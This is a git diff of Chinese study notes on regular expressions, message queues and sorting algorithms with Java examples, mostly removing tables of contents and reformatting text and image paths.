+|  \L | 把\L 和\E 之间的字符全部转换为小写  |
+|  \U | 把\U 和\E 之间的字符全部转换为大写  |
+|  \E | 结束\L 或者\U  |
 
-**应用** 
+**应用**
 
 把文本的第二个和第三个字符转换为大写。
 
-**文本** 
+**文本**
 
 abcd
 
-**查找** 
+**查找**
 
 ```
 (\w)(\w{2})(\w)
 ```
 
-**替换** 
+**替换**
 
 ```
 $1\U$2\E$3
 ```
 
-**结果** 
+**结果**
 
 aBCd
 
-# 九、前后查找
+# 九、前后查找
 
-前后查找规定了匹配的内容首尾应该匹配的内容，但是又不包含首尾匹配的内容。向前查找用  **?=**  来定义，它规定了尾部匹配的内容，这个匹配的内容在 ?= 之后定义。所谓向前查找，就是规定了一个匹配的内容，然后以这个内容为尾部向前面查找需要匹配的内容。向后匹配用 ?<= 定义（注: javaScript 不支持向后匹配, java 对其支持也不完善）。
+前后查找规定了匹配的内容首尾应该匹配的内容，但是又不包含首尾匹配的内容。向前查找用 **?=** 来定义，它规定了尾部匹配的内容，这个匹配的内容在 ?= 之后定义。所谓向前查找，就是规定了一个匹配的内容，然后以这个内容为尾部向前面查找需要匹配的内容。向后匹配用 ?<= 定义（注: javaScript 不支持向后匹配, java 对其支持也不完善）。
 
-**应用** 
+**应用**
 
-查找出邮件地址 @ 字符前面的部分。
+查找出邮件地址 @ 字符前面的部分。
 
-**正则表达式** 
+**正则表达式**
 
 ```
 \w+(?=@)
 ```
 
-**结果** 
+**结果**
 
-**abc** @qq.com
+**abc**@qq.com
 
-对向前和向后查找取非，只要把 = 替换成 ! 即可，比如 (?=) 替换成 (?!) 。取非操作使得匹配那些首尾不符合要求的内容。
+对向前和向后查找取非，只要把 = 替换成 ! 即可，比如 (?=) 替换成 (?!) 。取非操作使得匹配那些首尾不符合要求的内容。
 
-# 十、嵌入条件
+# 十、嵌入条件
 
-## 回溯引用条件
+## 回溯引用条件
 
 条件判断为某个子表达式是否匹配，如果匹配则需要继续匹配条件表达式后面的内容。
 
-**正则表达式** 
+**正则表达式**
 
-子表达式 (\\() 匹配一个左括号，其后的 ? 表示匹配 0 个或者 1 个。 ?(1) 为条件，当子表达式 1 匹配时条件成立，需要执行 \) 匹配，也就是匹配右括号。
+子表达式 (\\() 匹配一个左括号，其后的 ? 表示匹配 0 个或者 1 个。 ?(1) 为条件，当子表达式 1 匹配时条件成立，需要执行 \) 匹配，也就是匹配右括号。
 
 ```
 (\()?abc(?(1)\))
 ```
 
-**结果** 
+**结果**
 
-1.  **(abc)** 
-2.  **abc** 
-3. (abc
+1. **(abc)**
+2. **abc**
+3. (abc
 
-## 前后查找条件
+## 前后查找条件
 
 条件为定义的首尾是否匹配，如果匹配，则继续执行后面的匹配。注意，首尾不包含在匹配的内容中。
 
-**正则表达式** 
+**正则表达式**
 
- ?(?=-) 为前向查找条件，只有在以 - 为前向查找的结尾能匹配 \d{5} ，才继续匹配 -\d{4} 。
+ ?(?=-) 为前向查找条件，只有在以 - 为前向查找的结尾能匹配 \d{5} ，才继续匹配 -\d{4} 。
 
 ```
 \d{5}(?(?=-)-\d{4})
 ```
 
-**结果** 
+**结果**
 
-1.  **11111** 
-2. 22222-
-3.  **33333-4444** 
+1. **11111**
+2. 22222-
+3. **33333-4444**
 
-# 参考资料
+# 参考资料
 
-- BenForta. 正则表达式必知必会 [M]. 人民邮电出版社, 2007.
+- BenForta. 正则表达式必知必会 [M]. 人民邮电出版社, 2007.
diff --git a/docs/notes/消息队列.md b/docs/notes/消息队列.md
index e6fdf040..bb175bf8 100644
--- a/docs/notes/消息队列.md
+++ b/docs/notes/消息队列.md
@@ -1,43 +1,27 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、消息模型](#一消息模型)
-    * [点对点](#点对点)
-    * [发布/订阅](#发布订阅)
-* [二、使用场景](#二使用场景)
-    * [异步处理](#异步处理)
-    * [流量削锋](#流量削锋)
-    * [应用解耦](#应用解耦)
-* [三、可靠性](#三可靠性)
-    * [发送端的可靠性](#发送端的可靠性)
-    * [接收端的可靠性](#接收端的可靠性)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
+# 一、消息模型
 
-
-# 一、消息模型
-
-## 点对点
+## 点对点
 
 消息生产者向消息队列中发送了一个消息之后，只能被一个消费者消费一次。
 
-<div align="center"> <img src="pics/685a692f-8f76-4cac-baac-b68e2df9a30f.jpg" width="400px"/> </div><br>
+<img src="index_files/685a692f-8f76-4cac-baac-b68e2df9a30f.jpg" width="400px"/>
 
-## 发布/订阅
+## 发布/订阅
 
 消息生产者向频道发送一个消息之后，多个消费者可以从该频道订阅到这条消息并消费。
 
-<div align="center"> <img src="pics/ddb5ff4c-4ada-46aa-9bf1-140bdb5e4676.jpg" width="400PX"/> </div><br>
+<img src="index_files/ddb5ff4c-4ada-46aa-9bf1-140bdb5e4676.jpg" width="400PX"/>
 
 发布与订阅模式和观察者模式有以下不同：
 
-- 观察者模式中，观察者和主题都知道对方的存在；而在发布与订阅模式中，发布者与订阅者不知道对方的存在，它们之间通过频道进行通信。
-- 观察者模式是同步的，当事件触发时，主题会调用观察者的方法，然后等待方法返回；而发布与订阅模式是异步的，发布者向频道发送一个消息之后，就不需要关心订阅者何时去订阅这个消息，可以立即返回。
+- 观察者模式中，观察者和主题都知道对方的存在；而在发布与订阅模式中，发布者与订阅者不知道对方的存在，它们之间通过频道进行通信。
+- 观察者模式是同步的，当事件触发时，主题会调用观察者的方法，然后等待方法返回；而发布与订阅模式是异步的，发布者向频道发送一个消息之后，就不需要关心订阅者何时去订阅这个消息，可以立即返回。
 
-<div align="center"> <img src="pics/bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg" width="400PX"/> </div><br>
+<img src="index_files/bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg" width="400PX"/>
 
-# 二、使用场景
+# 二、使用场景
 
-## 异步处理
+## 异步处理
 
 发送者将消息发送给消息队列之后，不需要同步等待消息接收者处理完毕，而是立即返回进行其它操作。消息接收者从消息队列中订阅消息之后异步处理。
 
@@ -45,38 +29,42 @@
 
 只有在业务流程允许异步处理的情况下才能这么做，例如上面的注册流程中，如果要求用户对验证邮件进行点击之后才能完成注册的话，就不能再使用消息队列。
 
-## 流量削锋
+## 流量削锋
 
 在高并发的场景下，如果短时间有大量的请求到达会压垮服务器。
 
 可以将请求发送到消息队列中，服务器按照其处理能力从消息队列中订阅消息进行处理。
 
-## 应用解耦
+## 应用解耦
 
 如果模块之间不直接进行调用，模块之间耦合度就会很低，那么修改一个模块或者新增一个模块对其它模块的影响会很小，从而实现可扩展性。
 
 通过使用消息队列，一个模块只需要向消息队列中发送消息，其它模块可以选择性地从消息队列中订阅消息从而完成调用。
 
-# 三、可靠性
+# 三、可靠性
 
-## 发送端的可靠性
+## 发送端的可靠性
 
 发送端完成操作后一定能将消息成功发送到消息队列中。
 
 实现方法：
 
-- 在本地数据库建一张消息表，将消息数据与业务数据保存在同一数据库实例里，这样就可以利用本地数据库的事务机制。事务提交成功后，将消息表中的消息转移到消息队列中，若转移消息成功则删除消息表中的数据，否则继续重传。
+- 在本地数据库建一张消息表，将消息数据与业务数据保存在同一数据库实例里，这样就可以利用本地数据库的事务机制。事务提交成功后，将消息表中的消息转移到消息队列中，若转移消息成功则删除消息表中的数据，否则继续重传。
 
-## 接收端的可靠性
+## 接收端的可靠性
 
 接收端能够从消息队列成功消费一次消息。
 
 两种实现方法：
 
-- 保证接收端处理消息的业务逻辑具有幂等性：只要具有幂等性，那么消费多少次消息，最后处理的结果都是一样的。
-- 保证消息具有唯一编号，并使用一张日志表来记录已经消费的消息编号。
+- 保证接收端处理消息的业务逻辑具有幂等性：只要具有幂等性，那么消费多少次消息，最后处理的结果都是一样的。
+- 保证消息具有唯一编号，并使用一张日志表来记录已经消费的消息编号。
 
-# 参考资料
+# 参考资料
 
-- [Observer vs Pub-Sub](http://developers-club.com/posts/270339/)
-- [消息队列中点对点与发布订阅区别](https://blog.csdn.net/lizhitao/article/details/47723105)
+- [Observer vs Pub-Sub](http://developers-club.com/posts/270339/)
+- [消息队列中点对点与发布订阅区别](https://blog.csdn.net/lizhitao/article/details/47723105)
+---bottom---CyC---
+![](index_files/685a692f-8f76-4cac-baac-b68e2df9a30f.jpg)
+![](index_files/ddb5ff4c-4ada-46aa-9bf1-140bdb5e4676.jpg)
+![](index_files/bee1ff1d-c80f-4b3c-b58c-7073a8896ab2.jpg)
diff --git a/docs/notes/算法.md b/docs/notes/算法.md
index 267085e4..fff83238 100644
--- a/docs/notes/算法.md
+++ b/docs/notes/算法.md
@@ -1,1322 +1,1282 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、前言](#一前言)
-* [二、算法分析](#二算法分析)
-    * [数学模型](#数学模型)
-    * [注意事项](#注意事项)
-    * [ThreeSum](#threesum)
-    * [倍率实验](#倍率实验)
-* [三、排序](#三排序)
-    * [选择排序](#选择排序)
-    * [冒泡排序](#冒泡排序)
-    * [插入排序](#插入排序)
-    * [希尔排序](#希尔排序)
-    * [归并排序](#归并排序)
-    * [快速排序](#快速排序)
-    * [堆排序](#堆排序)
-    * [小结](#小结)
-* [四、并查集](#四并查集)
-    * [Quick Find](#quick-find)
-    * [Quick Union](#quick-union)
-    * [加权 Quick Union](#加权-quick-union)
-    * [路径压缩的加权 Quick Union](#路径压缩的加权-quick-union)
-    * [比较](#比较)
-* [五、栈和队列](#五栈和队列)
-    * [栈](#栈)
-    * [队列](#队列)
-* [六、符号表](#六符号表)
-    * [初级实现](#初级实现)
-    * [二叉查找树](#二叉查找树)
-    * [2-3 查找树](#2-3-查找树)
-    * [红黑树](#红黑树)
-    * [散列表](#散列表)
-    * [小结](#小结)
-* [七、其它](#七其它)
-    * [汉诺塔](#汉诺塔)
-    * [哈夫曼编码](#哈夫曼编码)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
+# 一、前言
 
+- 实现代码：[Algorithm](https://github.com/CyC2018/Algorithm)
+- 绘图文件：[ProcessOn](https://www.processon.com/view/link/5a3e4c1ee4b0ce9ffea8c727)
 
-# 一、前言
+# 二、算法分析
 
-- 实现代码：[Algorithm](https://github.com/CyC2018/Algorithm)
-- 绘图文件：[ProcessOn](https://www.processon.com/view/link/5a3e4c1ee4b0ce9ffea8c727)
+## 数学模型
 
-# 二、算法分析
+### 1. 近似
 
-## 数学模型
+N<sup>3</sup>/6-N<sup>2</sup>/2+N/3 ~ N<sup>3</sup>/6。使用 ~f(N) 来表示所有随着 N 的增大除以 f(N) 的结果趋近于 1 的函数。
 
-### 1. 近似
+### 2. 增长数量级
 
-N<sup>3</sup>/6-N<sup>2</sup>/2+N/3 \~ N<sup>3</sup>/6。使用 \~f(N) 来表示所有随着 N 的增大除以 f(N) 的结果趋近于 1 的函数。
+N<sup>3</sup>/6-N<sup>2</sup>/2+N/3 的增长数量级为 O(N<sup>3</sup>)。增长数量级将算法与它的实现隔离开来，一个算法的增长数量级为 O(N<sup>3</sup>) 与它是否用 Java 实现，是否运行于特定计算机上无关。
 
-### 2. 增长数量级
-
-N<sup>3</sup>/6-N<sup>2</sup>/2+N/3 的增长数量级为 O(N<sup>3</sup>)。增长数量级将算法与它的实现隔离开来，一个算法的增长数量级为 O(N<sup>3</sup>) 与它是否用 Java 实现，是否运行于特定计算机上无关。
-
-### 3. 内循环
+### 3. 内循环
 
 执行最频繁的指令决定了程序执行的总时间，把这些指令称为程序的内循环。
 
-### 4. 成本模型
+### 4. 成本模型
 
 使用成本模型来评估算法，例如数组的访问次数就是一种成本模型。
 
-## 注意事项
+## 注意事项
 
-### 1. 大常数
+### 1. 大常数
 
 在求近似时，如果低级项的常数系数很大，那么近似的结果就是错误的。
 
-### 2. 缓存
+### 2. 缓存
 
 计算机系统会使用缓存技术来组织内存，访问数组相邻的元素会比访问不相邻的元素快很多。
 
-### 3. 对最坏情况下的性能的保证
+### 3. 对最坏情况下的性能的保证
 
 在核反应堆、心脏起搏器或者刹车控制器中的软件，最坏情况下的性能是十分重要的。
 
-### 4. 随机化算法
+### 4. 随机化算法
 
 通过打乱输入，去除算法对输入的依赖。
 
-### 5. 均摊分析
+### 5. 均摊分析
 
-将所有操作的总成本除于操作总数来将成本均摊。例如对一个空栈进行 N 次连续的 push() 调用需要访问数组的次数为 N+4+8+16+...+2N=5N-4（N 是向数组写入元素的操作次数，其余的都是调整数组大小时进行复制需要的访问数组次数），均摊后访问数组的平均次数为常数。
+将所有操作的总成本除于操作总数来将成本均摊。例如对一个空栈进行 N 次连续的 push() 调用需要访问数组的次数为 N+4+8+16+...+2N=5N-4（N 是向数组写入元素的操作次数，其余的都是调整数组大小时进行复制需要的访问数组次数），均摊后访问数组的平均次数为常数。
 
-## ThreeSum
+## ThreeSum
 
-ThreeSum 用于统计一个数组中和为 0 的三元组数量。
+ThreeSum 用于统计一个数组中和为 0 的三元组数量。
 
 ```java
-public interface ThreeSum {
-    int count(int[] nums);
+public interface ThreeSum {
+    int count(int[] nums);
 }
 ```
 
-### 1. ThreeSumSlow
+### 1. ThreeSumSlow
 
-该算法的内循环为 `if (nums[i] + nums[j] + nums[k] == 0)` 语句，总共执行的次数为 N(N-1)(N-2) = N<sup>3</sup>/6-N<sup>2</sup>/2+N/3，因此它的近似执行次数为 \~N<sup>3</sup>/6，增长数量级为 O(N<sup>3</sup>)。
+该算法的内循环为 `if (nums[i] + nums[j] + nums[k] == 0)` 语句，总共执行的次数为 N(N-1)(N-2) = N<sup>3</sup>/6-N<sup>2</sup>/2+N/3，因此它的近似执行次数为 ~N<sup>3</sup>/6，增长数量级为 O(N<sup>3</sup>)。
 
 ```java
-public class ThreeSumSlow implements ThreeSum {
-    @Override
-    public int count(int[] nums) {
-        int N = nums.length;
-        int cnt = 0;
-        for (int i = 0; i < N; i++) {
-            for (int j = i + 1; j < N; j++) {
-                for (int k = j + 1; k < N; k++) {
-                    if (nums[i] + nums[j] + nums[k] == 0) {
-                        cnt++;
-                    }
-                }
-            }
-        }
-        return cnt;
-    }
+public class ThreeSumSlow implements ThreeSum {
+    @Override
+    public int count(int[] nums) {
+        int N = nums.length;
+        int cnt = 0;
+        for (int i = 0; i < N; i++) {
+            for (int j = i + 1; j < N; j++) {
+                for (int k = j + 1; k < N; k++) {
+                    if (nums[i] + nums[j] + nums[k] == 0) {
+                        cnt++;
+                    }
+                }
+            }
+        }
+        return cnt;
+    }
 }
 ```
 
-### 2. ThreeSumBinarySearch
+### 2. ThreeSumBinarySearch
 
-通过将数组先排序，对两个元素求和，并用二分查找方法查找是否存在该和的相反数，如果存在，就说明存在三元组的和为 0。
+通过将数组先排序，对两个元素求和，并用二分查找方法查找是否存在该和的相反数，如果存在，就说明存在三元组的和为 0。
 
 应该注意的是，只有数组不含有相同元素才能使用这种解法，否则二分查找的结果会出错。
 
-该方法可以将 ThreeSum 算法增长数量级降低为 O(N<sup>2</sup>logN)。
+该方法可以将 ThreeSum 算法增长数量级降低为 O(N<sup>2</sup>logN)。
 
 ```java
-public class ThreeSumBinarySearch implements ThreeSum {
+public class ThreeSumBinarySearch implements ThreeSum {
 
-    @Override
-    public int count(int[] nums) {
-        Arrays.sort(nums);
-        int N = nums.length;
-        int cnt = 0;
-        for (int i = 0; i < N; i++) {
-            for (int j = i + 1; j < N; j++) {
-                int target = -nums[i] - nums[j];
-                int index = BinarySearch.search(nums, target);
-                // 应该注意这里的下标必须大于 j，否则会重复统计。
-                if (index > j) {
-                    cnt++;
-                }
-            }
-        }
-        return cnt;
-    }
+    @Override
+    public int count(int[] nums) {
+        Arrays.sort(nums);
+        int N = nums.length;
+        int cnt = 0;
+        for (int i = 0; i < N; i++) {
+            for (int j = i + 1; j < N; j++) {
+                int target = -nums[i] - nums[j];
+                int index = BinarySearch.search(nums, target);
+                // 应该注意这里的下标必须大于 j，否则会重复统计。
+                if (index > j) {
+                    cnt++;
+                }
+            }
+        }
+        return cnt;
+    }
 }
 ```
 
 ```java
-public class BinarySearch {
+public class BinarySearch {
 
-    public static int search(int[] nums, int target) {
-        int l = 0, h = nums.length - 1;
-        while (l <= h) {
-            int m = l + (h - l) / 2;
-            if (target == nums[m]) {
-                return m;
-            } else if (target > nums[m]) {
-                l = m + 1;
-            } else {
-                h = m - 1;
-            }
-        }
-        return -1;
-    }
+    public static int search(int[] nums, int target) {
+        int l = 0, h = nums.length - 1;
+        while (l <= h) {
+            int m = l + (h - l) / 2;
+            if (target == nums[m]) {
+                return m;
+            } else if (target > nums[m]) {
+                l = m + 1;
+            } else {
+                h = m - 1;
+            }
+        }
+        return -1;
+    }
 }
 ```
 
-### 3. ThreeSumTwoPointer
+### 3. ThreeSumTwoPointer
 
-更有效的方法是先将数组排序，然后使用双指针进行查找，时间复杂度为 O(N<sup>2</sup>)。
+更有效的方法是先将数组排序，然后使用双指针进行查找，时间复杂度为 O(N<sup>2</sup>)。
 
 ```java
-public class ThreeSumTwoPointer implements ThreeSum {
+public class ThreeSumTwoPointer implements ThreeSum {
 
-    @Override
-    public int count(int[] nums) {
-        int N = nums.length;
-        int cnt = 0;
-        Arrays.sort(nums);
-        for (int i = 0; i < N - 2; i++) {
-            int l = i + 1, h = N - 1, target = -nums[i];
-            if (i > 0 && nums[i] == nums[i - 1]) continue;
-            while (l < h) {
-                int sum = nums[l] + nums[h];
-                if (sum == target) {
-                    cnt++;
-                    while (l < h && nums[l] == nums[l + 1]) l++;
-                    while (l < h && nums[h] == nums[h - 1]) h--;
-                    l++;
-                    h--;
-                } else if (sum < target) {
-                    l++;
-                } else {
-                    h--;
-                }
-            }
-        }
-        return cnt;
-    }
+    @Override
+    public int count(int[] nums) {
+        int N = nums.length;
+        int cnt = 0;
+        Arrays.sort(nums);
+        for (int i = 0; i < N - 2; i++) {
+            int l = i + 1, h = N - 1, target = -nums[i];
+            if (i > 0 && nums[i] == nums[i - 1]) continue;
+            while (l < h) {
+                int sum = nums[l] + nums[h];
+                if (sum == target) {
+                    cnt++;
+                    while (l < h && nums[l] == nums[l + 1]) l++;
+                    while (l < h && nums[h] == nums[h - 1]) h--;
+                    l++;
+                    h--;
+                } else if (sum < target) {
+                    l++;
+                } else {
+                    h--;
+                }
+            }
+        }
+        return cnt;
+    }
 }
 ```
 
-## 倍率实验
+## 倍率实验
 
-如果 T(N) \~ aN<sup>b</sup>logN，那么 T(2N)/T(N) \~ 2<sup>b</sup>。
+如果 T(N) ~ aN<sup>b</sup>logN，那么 T(2N)/T(N) ~ 2<sup>b</sup>。
 
-例如对于暴力的 ThreeSum 算法，近似时间为 \~N<sup>3</sup>/6。进行如下实验：多次运行该算法，每次取的 N 值为前一次的两倍，统计每次执行的时间，并统计本次运行时间与前一次运行时间的比值，得到如下结果：
+例如对于暴力的 ThreeSum 算法，近似时间为 ~N<sup>3</sup>/6。进行如下实验：多次运行该算法，每次取的 N 值为前一次的两倍，统计每次执行的时间，并统计本次运行时间与前一次运行时间的比值，得到如下结果：
 
-| N | Time(ms) | Ratio |
-| :---: | :---: | :---: |
-| 500 | 48 | / |
-| 1000 | 320 | 6.7 |
-| 2000 | 555 | 1.7 |
-| 4000 | 4105 | 7.4 |
-| 8000 | 33575 | 8.2 |
-| 16000 | 268909 | 8.0 |
+| N | Time(ms) | Ratio |
+| :---: | :---: | :---: |
+| 500 | 48 | / |
+| 1000 | 320 | 6.7 |
+| 2000 | 555 | 1.7 |
+| 4000 | 4105 | 7.4 |
+| 8000 | 33575 | 8.2 |
+| 16000 | 268909 | 8.0 |
 
-可以看到，T(2N)/T(N) \~ 2<sup>3</sup>，因此可以确定 T(N) \~ aN<sup>3</sup>logN。
+可以看到，T(2N)/T(N) ~ 2<sup>3</sup>，因此可以确定 T(N) ~ aN<sup>3</sup>logN。
 
 ```java
-public class RatioTest {
+public class RatioTest {
 
-    public static void main(String[] args) {
-        int N = 500;
-        int loopTimes = 7;
-        double preTime = -1;
-        while (loopTimes-- > 0) {
-            int[] nums = new int[N];
-            StopWatch.start();
-            ThreeSum threeSum = new ThreeSumSlow();
-            int cnt = threeSum.count(nums);
-            System.out.println(cnt);
-            double elapsedTime = StopWatch.elapsedTime();
-            double ratio = preTime == -1 ? 0 : elapsedTime / preTime;
-            System.out.println(N + "  " + elapsedTime + "  " + ratio);
-            preTime = elapsedTime;
-            N *= 2;
-        }
-    }
+    public static void main(String[] args) {
+        int N = 500;
+        int loopTimes = 7;
+        double preTime = -1;
+        while (loopTimes-- > 0) {
+            int[] nums = new int[N];
+            StopWatch.start();
+            ThreeSum threeSum = new ThreeSumSlow();
+            int cnt = threeSum.count(nums);
+            System.out.println(cnt);
+            double elapsedTime = StopWatch.elapsedTime();
+            double ratio = preTime == -1 ? 0 : elapsedTime / preTime;
+            System.out.println(N + "  " + elapsedTime + "  " + ratio);
+            preTime = elapsedTime;
+            N *= 2;
+        }
+    }
 }
 ```
 
 ```java
-public class StopWatch {
+public class StopWatch {
 
-    private static long start;
+    private static long start;
 
 
-    public static void start() {
-        start = System.currentTimeMillis();
-    }
+    public static void start() {
+        start = System.currentTimeMillis();
+    }
 
 
-    public static double elapsedTime() {
-        long now = System.currentTimeMillis();
-        return (now - start) / 1000.0;
-    }
+    public static double elapsedTime() {
+        long now = System.currentTimeMillis();
+        return (now - start) / 1000.0;
+    }
 }
 ```
 
-# 三、排序
+# 三、排序
 
-待排序的元素需要实现 Java 的 Comparable 接口，该接口有 compareTo() 方法，可以用它来判断两个元素的大小关系。
+待排序的元素需要实现 Java 的 Comparable 接口，该接口有 compareTo() 方法，可以用它来判断两个元素的大小关系。
 
 研究排序算法的成本模型时，统计的是比较和交换的次数。
 
-使用辅助函数 less() 和 swap() 来进行比较和交换的操作，使得代码的可读性和可移植性更好。
+使用辅助函数 less() 和 swap() 来进行比较和交换的操作，使得代码的可读性和可移植性更好。
 
 ```java
-public abstract class Sort<T extends Comparable<T>> {
+public abstract class Sort<T extends Comparable<T>> {
 
-    public abstract void sort(T[] nums);
+    public abstract void sort(T[] nums);
 
-    protected boolean less(T v, T w) {
-        return v.compareTo(w) < 0;
-    }
+    protected boolean less(T v, T w) {
+        return v.compareTo(w) < 0;
+    }
 
-    protected void swap(T[] a, int i, int j) {
-        T t = a[i];
-        a[i] = a[j];
-        a[j] = t;
-    }
+    protected void swap(T[] a, int i, int j) {
+        T t = a[i];
+        a[i] = a[j];
+        a[j] = t;
+    }
 }
 ```
 
-## 选择排序
+## 选择排序
 
 选择出数组中的最小元素，将它与数组的第一个元素交换位置。再从剩下的元素中选择出最小的元素，将它与数组的第二个元素交换位置。不断进行这样的操作，直到将整个数组排序。
 
-选择排序需要 \~N<sup>2</sup>/2 次比较和 \~N 次交换，它的运行时间与输入无关，这个特点使得它对一个已经排序的数组也需要这么多的比较和交换操作。
+选择排序需要 ~N<sup>2</sup>/2 次比较和 ~N 次交换，它的运行时间与输入无关，这个特点使得它对一个已经排序的数组也需要这么多的比较和交换操作。
 
-<div align="center"> <img src="pics/37e79a32-95a9-4503-bdb1-159527e628b8.png" width="250"/> </div><br>
+<img src="index_files/37e79a32-95a9-4503-bdb1-159527e628b8.png" width="250"/>
 
 ```java
-public class Selection<T extends Comparable<T>> extends Sort<T> {
+public class Selection<T extends Comparable<T>> extends Sort<T> {
 
-    @Override
-    public void sort(T[] nums) {
-        int N = nums.length;
-        for (int i = 0; i < N - 1; i++) {
-            int min = i;
-            for (int j = i + 1; j < N; j++) {
-                if (less(nums[j], nums[min])) {
-                    min = j;
-                }
-            }
-            swap(nums, i, min);
-        }
-    }
+    @Override
+    public void sort(T[] nums) {
+        int N = nums.length;
+        for (int i = 0; i < N - 1; i++) {
+            int min = i;
+            for (int j = i + 1; j < N; j++) {
+                if (less(nums[j], nums[min])) {
+                    min = j;
+                }
+            }
+            swap(nums, i, min);
+        }
+    }
 }
 ```
 
-## 冒泡排序
+## 冒泡排序
 
 从左到右不断交换相邻逆序的元素，在一轮的循环之后，可以让未排序的最大元素上浮到右侧。
 
 在一轮循环中，如果没有发生交换，就说明数组已经是有序的，此时可以直接退出。
 
-以下演示了在一轮循环中，将最大的元素 5 上浮到最右侧。
+以下演示了在一轮循环中，将最大的元素 5 上浮到最右侧。
 
-<div align="center"> <img src="pics/1a2f2998-d0da-41c8-8222-1fd95083a66b.png" width="250"/> </div><br>
+<img src="index_files/1a2f2998-d0da-41c8-8222-1fd95083a66b.png" width="250"/>
 
 ```java
-public class Bubble<T extends Comparable<T>> extends Sort<T> {
+public class Bubble<T extends Comparable<T>> extends Sort<T> {
 
-    @Override
-    public void sort(T[] nums) {
-        int N = nums.length;
-        boolean hasSorted = false;
-        for (int i = N - 1; i > 0 && !hasSorted; i--) {
-            hasSorted = true;
-            for (int j = 0; j < i; j++) {
-                if (less(nums[j + 1], nums[j])) {
-                    hasSorted = false;
-                    swap(nums, j, j + 1);
-                }
-            }
-        }
-    }
+    @Override
+    public void sort(T[] nums) {
+        int N = nums.length;
+        boolean hasSorted = false;
+        for (int i = N - 1; i > 0 && !hasSorted; i--) {
+            hasSorted = true;
+            for (int j = 0; j < i; j++) {
+                if (less(nums[j + 1], nums[j])) {
+                    hasSorted = false;
+                    swap(nums, j, j + 1);
+                }
+            }
+        }
+    }
 }
 ```
 
-## 插入排序
+## 插入排序
 
 每次都将当前元素插入到左侧已经排序的数组中，使得插入之后左侧数组依然有序。
 
-对于数组 {3, 5, 2, 4, 1}，它具有以下逆序：(3, 2), (3, 1), (5, 2), (5, 4), (5, 1), (2, 1), (4, 1)，插入排序每次只能交换相邻元素，令逆序数量减少 1，因此插入排序需要交换的次数为逆序数量。
+对于数组 {3, 5, 2, 4, 1}，它具有以下逆序：(3, 2), (3, 1), (5, 2), (5, 4), (5, 1), (2, 1), (4, 1)，插入排序每次只能交换相邻元素，令逆序数量减少 1，因此插入排序需要交换的次数为逆序数量。
 
 插入排序的复杂度取决于数组的初始顺序，如果数组已经部分有序了，逆序较少，那么插入排序会很快。
 
-- 平均情况下插入排序需要 \~N<sup>2</sup>/4 比较以及 \~N<sup>2</sup>/4 次交换；
-- 最坏的情况下需要 \~N<sup>2</sup>/2 比较以及 \~N<sup>2</sup>/2 次交换，最坏的情况是数组是倒序的；
-- 最好的情况下需要 N-1 次比较和 0 次交换，最好的情况就是数组已经有序了。
+- 平均情况下插入排序需要 ~N<sup>2</sup>/4 比较以及 ~N<sup>2</sup>/4 次交换；
+- 最坏的情况下需要 ~N<sup>2</sup>/2 比较以及 ~N<sup>2</sup>/2 次交换，最坏的情况是数组是倒序的；
+- 最好的情况下需要 N-1 次比较和 0 次交换，最好的情况就是数组已经有序了。
 
-以下演示了在一轮循环中，将元素 2 插入到左侧已经排序的数组中。
+以下演示了在一轮循环中，将元素 2 插入到左侧已经排序的数组中。
 
-<div align="center"> <img src="pics/2a8e1442-2381-4439-a83f-0312c8678b1f.png" width="250"/> </div><br>
+<img src="index_files/2a8e1442-2381-4439-a83f-0312c8678b1f.png" width="250"/>
 
 ```java
-public class Insertion<T extends Comparable<T>> extends Sort<T> {
+public class Insertion<T extends Comparable<T>> extends Sort<T> {
 
-    @Override
-    public void sort(T[] nums) {
-        int N = nums.length;
-        for (int i = 1; i < N; i++) {
-            for (int j = i; j > 0 && less(nums[j], nums[j - 1]); j--) {
-                swap(nums, j, j - 1);
-            }
-        }
-    }
+    @Override
+    public void sort(T[] nums) {
+        int N = nums.length;
+        for (int i = 1; i < N; i++) {
+            for (int j = i; j > 0 && less(nums[j], nums[j - 1]); j--) {
+                swap(nums, j, j - 1);
+            }
+        }
+    }
 }
 ```
 
-## 希尔排序
+## 希尔排序
 
-对于大规模的数组，插入排序很慢，因为它只能交换相邻的元素，每次只能将逆序数量减少 1。
+对于大规模的数组，插入排序很慢，因为它只能交换相邻的元素，每次只能将逆序数量减少 1。
 
-希尔排序的出现就是为了解决插入排序的这种局限性，它通过交换不相邻的元素，每次可以将逆序数量减少大于 1。
+希尔排序的出现就是为了解决插入排序的这种局限性，它通过交换不相邻的元素，每次可以将逆序数量减少大于 1。
 
-希尔排序使用插入排序对间隔 h 的序列进行排序。通过不断减小 h，最后令 h=1，就可以使得整个数组是有序的。
+希尔排序使用插入排序对间隔 h 的序列进行排序。通过不断减小 h，最后令 h=1，就可以使得整个数组是有序的。
 
-<div align="center"> <img src="pics/0157d362-98dd-4e51-ac26-00ecb76beb3e.png" width="500"/> </div><br>
+<img src="index_files/0157d362-98dd-4e51-ac26-00ecb76beb3e.png" width="500"/>
 
 ```java
-public class Shell<T extends Comparable<T>> extends Sort<T> {
+public class Shell<T extends Comparable<T>> extends Sort<T> {
 
-    @Override
-    public void sort(T[] nums) {
+    @Override
+    public void sort(T[] nums) {
 
-        int N = nums.length;
-        int h = 1;
+        int N = nums.length;
+        int h = 1;
 
-        while (h < N / 3) {
-            h = 3 * h + 1; // 1, 4, 13, 40, ...
-        }
+        while (h < N / 3) {
+            h = 3 * h + 1; // 1, 4, 13, 40, ...
+        }
 
-        while (h >= 1) {
-            for (int i = h; i < N; i++) {
-                for (int j = i; j >= h && less(nums[j], nums[j - h]); j -= h) {
-                    swap(nums, j, j - h);
-                }
-            }
-            h = h / 3;
-        }
-    }
+        while (h >= 1) {
+            for (int i = h; i < N; i++) {
+                for (int j = i; j >= h && less(nums[j], nums[j - h]); j -= h) {
+                    swap(nums, j, j - h);
+                }
+            }
+            h = h / 3;
+        }
+    }
 }
 
 ```
 
-希尔排序的运行时间达不到平方级别，使用递增序列 1, 4, 13, 40, ...  的希尔排序所需要的比较次数不会超过 N 的若干倍乘于递增序列的长度。后面介绍的高级排序算法只会比希尔排序快两倍左右。
